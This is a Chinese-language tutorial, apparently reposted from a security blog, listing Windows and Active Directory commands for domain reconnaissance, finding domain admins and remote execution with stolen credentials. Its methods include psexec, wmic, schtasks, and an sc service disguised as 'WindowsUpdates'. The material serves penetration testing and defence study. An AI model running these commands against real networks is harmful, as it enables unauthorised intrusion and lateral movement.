域渗透初级命令
2024-1-6 00:16:11 Author: 白帽子(查看原文) 阅读量:7 收藏

大概总结了一些以前项目中遇到域时用到的初级命令,他山之石,可以攻玉,大家见笑。

一、初始信息收集

1.查看当前网络及域名

ipconfig /all

2.查看安装的软件版本

wmic product get name,version

3.查看本机服务信息

wmic service list brief

4.查询进程列表

tasklist /svc              wmic process list brief

wmic这个命令需要权限比较高才能看完全:

   

5.查询用户

本机是直接net user,如果在域环境里则是net user /domain(当前必须以域用户身份登陆凭据,否则会拒绝访问,如下图)

正常执行如下图:

6.列出与本地计算机连接的客户端信息

这个很有用,可以看到有谁通过smb协议连接上来。有时候拿到域里一台服务器,可以看到个人机的登陆地址。

net session

7.查询路由表和arp缓存表

route print    

可以看到当前可访问的网络范围,不过很多网络的子网掩码都是随便写的,但是超出掩码范围的还可以访问。

arp -a

可以看到曾经访问过的IP地址。

8.查询域里DNS服务器信息:
nslookup 域名

可以查看到本域DNS服务器的信息,一些比较小的域都是用DC当dns服务器的。    

9.定位域控
net time /domain

net group "domain controllers" /domain

nltest /dsgetdc:域名

nltest /dclist:域名

上图PDC为主域控

10.查看域里机器
net view /domain

(这个命令是查看所在域的名字,如果目标存在多个域,可以查看所有的域)

   

net view /domain:域名

(查看域里存在的机器,与本机有通讯的)

11.查看域里所有用户组
net group /domain

12.查看域里所有计算机
net group "domain computers" /domain   

13.查看域管账号

net group "domain admins" /domain

14.查看所有域用户账号

net user /domain

   

15.获取域密码策略

net accounts /domain

在爆破的时候可以作为参考

16.获取域信任信息
nltest /domain_trusts

在大型环境里面很有用,多个域之前存在信任关系的话横向比较顺利。

17.获取域内用户详细信息

wmic useraccount get /all

(需要与域控135端口通讯)    

18.查看企业管理员组成员
net group "Enterprise Admins" /domain

(有的环境这个组的成员权限也非常大)

二、定位域控

常见的域管理员定位工具有psloggedon.exe、PVEFindADUser.exe、netsess.exe,以及netview等。在 Powershell中,常用工具是PowerView。

1.psloggedon.exe

网上的文章都说psloggedon.exe是系统自带的,但其实这个在微软的PsTools里面,非自带。不得不吐槽一句,那些抄来抄去的文章真是害人不浅。

psloggedon.exe \IP  

psloggedon.exe username

第一次使用要加 -accepteula 参数,以后就不用了,因为它一开始会有一个同意使用的窗口。

微软签名,正常文件,不需要免杀。

此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台 机器,如果无法读取或者读取注册表失败,此工具效果很差。

2.netsess.exe

这个是一个外国大牛2004年写的exe,现在还能用。

netsess.exe \\IP 

3.PVEFindADUser.exe

运行需要计算机支持framework2.0。网上说是需要管理员权限,可是我在本机测试普通成员权限是可以的。

pvefinaduser.exe -current

4.netview.exe

据说这个比较好,但是我在本地测试没有成功。

netview.exe -d              寻找当前域名下的session              netview.exe -g              寻找指定用户组的登陆session   

5.PowerView.ps1

这个我在本地也没测试成功。。

三、执行命令

impacket包里面有很多执行命令的方式,网上也有很多文章,这里不再阐述,只介绍几种系统自带的正常可以远程执行命令的方法,winrm由于应用条件苛刻且基本很少存在,没有加入。

1.net use + at or schtasks

net use \\192.168.3.142\c$/u:0da\administrator "admin!@#45" 建立ipc连接              net time \\192.168.3.142 查看目标当前时间              at \\192.168.3.142 时间 要执行的命令 (08以后的系统已经弃用at,可以用下面的schtasks)

SCHTASKS /Create /S 192.168.3.142 /U 0day\Administrator /P "admin!@#45" /SC ONCE              /ST 12:45 /TN test /TR c:\windows\system32\cmd.exe /RU system (一定要写后面的 /RU              system

2.wmic

wmic /node:192.168.3.142 /user:0day\administrator /password:admin!@#45 process              call create "cmd.exe /c whoami > c:\x.txt"   

返回值为0代表执行成功。

另外:如果密码里面带有逗号,也就是 “,” 的话,会导致命令执行不成功。这时候可以把password参数删除交互输入密码,或者用类似impacket之类的工具。

3.psexec

psexec /accepteula //接受许可协议              psexec \\192.168.3.142 -u 0day\administrator -p admin!@#45 -s cmd.exe ( -s 是代表              用system权限启动,如果没有这个选项,默认配置下会显示 “登录失败: 未授予用户在此计算机上的请求登              录类型。”)

另外:一定要有本地管理员权限,否则会提示拒绝访问。如下图:

4.sc

net use \\192.168.3.8 /u:0day\administrator "admin!@#45"              sc \\192.168.3.8 create "WindowsUpdates" binpath="cmd.exe /c start c:\x.bat"              sc \\192.168.3.8 start WindowsUpdates              sc \\192.168.3.8 delete WindowsUpdates       

显示失败,但是x.bat已经执行了:


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650247263&idx=1&sn=2a573f123e3235897dd46d52da51bcf5&chksm=83e827ce0af753d0a30333efffce38373713396929aeae627d21d6c632d5b2522aaa3940dcfd&scene=0&xtrack=1#rd
如有侵权请联系:admin#unsafe.sh